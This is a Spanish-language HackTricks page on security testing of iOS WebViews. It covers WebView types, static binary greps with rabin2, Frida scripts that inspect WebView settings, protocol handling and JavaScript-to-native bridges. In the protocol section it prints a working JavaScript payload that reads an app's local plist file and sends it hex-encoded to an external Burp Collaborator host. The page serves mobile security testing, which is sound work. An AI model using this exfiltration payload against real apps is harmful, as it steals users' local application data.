# iOS WebViews {{#include ../../banners/hacktricks-training.md}} El código de esta página fue extraído de [aquí](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Consulta la página para más detalles. ## Tipos de WebViews Los WebViews se utilizan dentro de las aplicaciones para mostrar contenido web de manera interactiva. Varios tipos de WebViews ofrecen diferentes funcionalidades y características de seguridad para aplicaciones iOS. Aquí hay un breve resumen: - **UIWebView**, que ya no se recomienda a partir de iOS 12 debido a su falta de soporte para deshabilitar **JavaScript**, lo que lo hace susceptible a inyecciones de scripts y ataques de **Cross-Site Scripting (XSS)**. - **WKWebView** es la opción preferida para incorporar contenido web en aplicaciones, ofreciendo un control mejorado sobre el contenido y características de seguridad. **JavaScript** está habilitado por defecto, pero se puede deshabilitar si es necesario. También admite características para evitar que JavaScript abra ventanas automáticamente y asegura que todo el contenido se cargue de manera segura. Además, la arquitectura de **WKWebView** minimiza el riesgo de corrupción de memoria que afecte el proceso principal de la aplicación. - **SFSafariViewController** ofrece una experiencia de navegación web estandarizada dentro de las aplicaciones, reconocible por su diseño específico que incluye un campo de dirección de solo lectura, botones de compartir y navegación, y un enlace directo para abrir contenido en Safari. A diferencia de **WKWebView**, **JavaScript** no se puede deshabilitar en **SFSafariViewController**, que también comparte cookies y datos con Safari, manteniendo la privacidad del usuario desde la aplicación. Debe mostrarse de manera prominente de acuerdo con las pautas de la App Store. ```javascript // Example of disabling JavaScript in WKWebView: WKPreferences *preferences = [[WKPreferences alloc] init]; preferences.javaScriptEnabled = NO; WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init]; config.preferences = preferences; WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config]; ``` ## Resumen de la Exploración de Configuración de WebViews ### **Descripción General del Análisis Estático** En el proceso de examinar las configuraciones de **WebViews**, se enfocan en dos tipos principales: **UIWebView** y **WKWebView**. Para identificar estos WebViews dentro de un binario, se utilizan comandos, buscando referencias de clase específicas y métodos de inicialización. - **Identificación de UIWebView** ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$" ``` Este comando ayuda a localizar instancias de **UIWebView** buscando cadenas de texto relacionadas con él en el binario. - **Identificación de WKWebView** ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$" ``` De manera similar, para **WKWebView**, este comando busca en el binario cadenas de texto indicativas de su uso. Además, para encontrar cómo se inicializa un **WKWebView**, se ejecuta el siguiente comando, dirigido a la firma del método relacionada con su inicialización: ```bash $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame" ``` #### **Verificación de Configuración de JavaScript** Para **WKWebView**, se destaca que deshabilitar JavaScript es una buena práctica a menos que sea necesario. Se busca el binario compilado para confirmar que la propiedad `javaScriptEnabled` está configurada en `false`, asegurando que JavaScript esté deshabilitado: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled" ``` #### **Verificación de Contenido Solo Seguro** **WKWebView** ofrece la capacidad de identificar problemas de contenido mixto, a diferencia de **UIWebView**. Esto se verifica utilizando la propiedad `hasOnlySecureContent` para asegurar que todos los recursos de la página se carguen a través de conexiones seguras. La búsqueda en el binario compilado se realiza de la siguiente manera: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent" ``` ### **Perspectivas de Análisis Dinámico** El análisis dinámico implica inspeccionar el heap en busca de instancias de WebView y sus propiedades. Se utiliza un script llamado `webviews_inspector.js` para este propósito, dirigido a instancias de `UIWebView`, `WKWebView` y `SFSafariViewController`. Registra información sobre las instancias encontradas, incluyendo URLs y configuraciones relacionadas con JavaScript y contenido seguro. La inspección del heap se puede realizar utilizando `ObjC.choose()` para identificar instancias de WebView y verificar las propiedades `javaScriptEnabled` y `hasonlysecurecontent`. ```javascript:webviews_inspector.js ObjC.choose(ObjC.classes["UIWebView"], { onMatch: function (ui) { console.log("onMatch: ", ui) console.log("URL: ", ui.request().toString()) }, onComplete: function () { console.log("done for UIWebView!") }, }) ObjC.choose(ObjC.classes["WKWebView"], { onMatch: function (wk) { console.log("onMatch: ", wk) console.log("URL: ", wk.URL().toString()) }, onComplete: function () { console.log("done for WKWebView!") }, }) ObjC.choose(ObjC.classes["SFSafariViewController"], { onMatch: function (sf) { console.log("onMatch: ", sf) }, onComplete: function () { console.log("done for SFSafariViewController!") }, }) ObjC.choose(ObjC.classes["WKWebView"], { onMatch: function (wk) { console.log("onMatch: ", wk) console.log( "javaScriptEnabled:", wk.configuration().preferences().javaScriptEnabled() ) }, }) ObjC.choose(ObjC.classes["WKWebView"], { onMatch: function (wk) { console.log("onMatch: ", wk) console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString()) }, }) ``` El script se ejecuta con: ```bash frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js ``` **Resultados Clave**: - Se localizan e inspeccionan con éxito las instancias de WebViews. - Se verifica la habilitación de JavaScript y la configuración de contenido seguro. Este resumen encapsula los pasos y comandos críticos involucrados en el análisis de configuraciones de WebView a través de enfoques estáticos y dinámicos, centrándose en características de seguridad como la habilitación de JavaScript y la detección de contenido mixto. ## Manejo del Protocolo WebView Manejar contenido en WebViews es un aspecto crítico, especialmente al tratar con varios protocolos como `http(s)://`, `file://` y `tel://`. Estos protocolos permiten la carga de contenido remoto y local dentro de las aplicaciones. Se enfatiza que al cargar contenido local, se deben tomar precauciones para evitar que los usuarios influyan en el nombre o la ruta del archivo y en la edición del contenido mismo. **WebViews** ofrecen diferentes métodos para la carga de contenido. Para **UIWebView**, ahora obsoleto, se utilizan métodos como `loadHTMLString:baseURL:` y `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, por otro lado, emplea `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` y `loadRequest:` para contenido web. Métodos como `pathForResource:ofType:`, `URLForResource:withExtension:` y `init(contentsOf:encoding:)` se utilizan típicamente para cargar archivos locales. El método `loadFileURL:allowingReadAccessToURL:` es particularmente notable por su capacidad para cargar una URL o directorio específico en el WebView, exponiendo potencialmente datos sensibles si se especifica un directorio. Para encontrar estos métodos en el código fuente o binario compilado, se pueden utilizar comandos como los siguientes: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString" 231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL: ``` En cuanto al **acceso a archivos**, UIWebView lo permite de manera universal, mientras que WKWebView introduce las configuraciones `allowFileAccessFromFileURLs` y `allowUniversalAccessFromFileURLs` para gestionar el acceso desde URLs de archivos, siendo ambas falsas por defecto. Se proporciona un ejemplo de script de Frida para inspeccionar las configuraciones de **WKWebView** para ajustes de seguridad: ```bash ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('URL: ', wk.URL().toString()); console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled()); console.log('allowFileAccessFromFileURLs: ', wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString()); console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString()); console.log('allowUniversalAccessFromFileURLs: ', wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString()); }, onComplete: function () { console.log('done for WKWebView!'); } }); ``` Por último, un ejemplo de una carga útil de JavaScript destinada a exfiltrar archivos locales demuestra el potencial riesgo de seguridad asociado con WebViews mal configurados. Esta carga útil codifica el contenido de los archivos en formato hex antes de transmitirlos a un servidor, destacando la importancia de medidas de seguridad estrictas en las implementaciones de WebView. ```javascript String.prototype.hexEncode = function () { var hex, i var result = "" for (i = 0; i < this.length; i++) { hex = this.charCodeAt(i).toString(16) result += ("000" + hex).slice(-4) } return result } var xhr = new XMLHttpRequest() xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE) { var xhr2 = new XMLHttpRequest() xhr2.open( "GET", "http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" + xhr.responseText.hexEncode(), true ) xhr2.send(null) } } xhr.open( "GET", "file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist", true ) xhr.send(null) ``` ## Métodos Nativos Expuestos a Través de WebViews ## Comprendiendo las Interfaces Nativas de WebView en iOS Desde iOS 7 en adelante, Apple proporcionó APIs para **la comunicación entre JavaScript en un WebView y objetos nativos** de Swift u Objective-C. Esta integración se facilita principalmente a través de dos métodos: - **JSContext**: Una función de JavaScript se crea automáticamente cuando un bloque de Swift u Objective-C se vincula a un identificador dentro de un `JSContext`. Esto permite una integración y comunicación sin problemas entre JavaScript y código nativo. - **JSExport Protocol**: Al heredar el protocolo `JSExport`, las propiedades nativas, los métodos de instancia y los métodos de clase pueden ser expuestos a JavaScript. Esto significa que cualquier cambio realizado en el entorno de JavaScript se refleja en el entorno nativo, y viceversa. Sin embargo, es esencial asegurarse de que los datos sensibles no se expongan inadvertidamente a través de este método. ### Accediendo a `JSContext` en Objective-C En Objective-C, el `JSContext` para un `UIWebView` se puede recuperar con la siguiente línea de código: ```objc [webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"] ``` ### Comunicación con `WKWebView` Para `WKWebView`, el acceso directo a `JSContext` no está disponible. En su lugar, se utiliza el paso de mensajes a través de la función `postMessage`, lo que permite la comunicación de JavaScript a nativo. Los controladores para estos mensajes se configuran de la siguiente manera, permitiendo que JavaScript interactúe con la aplicación nativa de manera segura: ```swift func enableJavaScriptBridge(_ enabled: Bool) { options_dict["javaScriptBridge"]?.value = enabled let userContentController = wkWebViewConfiguration.userContentController userContentController.removeScriptMessageHandler(forName: "javaScriptBridge") if enabled { let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler() userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge") } } ``` ### Interacción y Pruebas JavaScript puede interactuar con la capa nativa definiendo un controlador de mensajes de script. Esto permite operaciones como invocar funciones nativas desde una página web: ```javascript function invokeNativeOperation() { value1 = document.getElementById("value1").value value2 = document.getElementById("value2").value window.webkit.messageHandlers.javaScriptBridge.postMessage([ "multiplyNumbers", value1, value2, ]) } // Alternative method for calling exposed JavaScript functions document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2 ``` Para capturar y manipular el resultado de una llamada a una función nativa, se puede anular la función de callback dentro del HTML: ```html ``` El lado nativo maneja la llamada de JavaScript como se muestra en la clase `JavaScriptBridgeMessageHandler`, donde el resultado de operaciones como multiplicar números se procesa y se envía de vuelta a JavaScript para su visualización o manipulación adicional: ```swift class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler { // Handling "multiplyNumbers" operation case "multiplyNumbers": let arg1 = Double(messageArray[1])! let arg2 = Double(messageArray[2])! result = String(arg1 * arg2) // Callback to JavaScript let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')" message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil) } ``` ## Depuración de iOS WebViews (Tutorial basado en el de [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)) Para depurar eficazmente el contenido web dentro de los webviews de iOS, se requiere una configuración específica que involucra las herramientas de desarrollo de Safari, debido a que los mensajes enviados a `console.log()` no se muestran en los registros de Xcode. Aquí hay una guía simplificada, enfatizando los pasos y requisitos clave: - **Preparación en el dispositivo iOS**: El Inspector Web de Safari debe ser activado en tu dispositivo iOS. Esto se hace yendo a **Configuración > Safari > Avanzado**, y habilitando el _Inspector Web_. - **Preparación en el dispositivo macOS**: En tu máquina de desarrollo macOS, debes habilitar las herramientas de desarrollo dentro de Safari. Inicia Safari, accede a **Safari > Preferencias > Avanzado**, y selecciona la opción para _Mostrar menú de Desarrollo_. - **Conexión y depuración**: Después de conectar tu dispositivo iOS a tu computadora macOS y lanzar tu aplicación, utiliza Safari en tu dispositivo macOS para seleccionar el webview que deseas depurar. Navega a _Desarrollar_ en la barra de menú de Safari, pasa el cursor sobre el nombre de tu dispositivo iOS para ver una lista de instancias de webview, y selecciona la instancia que deseas inspeccionar. Se abrirá una nueva ventana del Inspector Web de Safari para este propósito. Sin embargo, ten en cuenta las limitaciones: - La depuración con este método requiere un dispositivo macOS ya que se basa en Safari. - Solo los webviews en aplicaciones cargadas en tu dispositivo a través de Xcode son elegibles para depuración. Los webviews en aplicaciones instaladas a través de la App Store o Apple Configurator no pueden ser depurados de esta manera. ## Referencias - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6) - [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) - [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md) {{#include ../../banners/hacktricks-training.md}}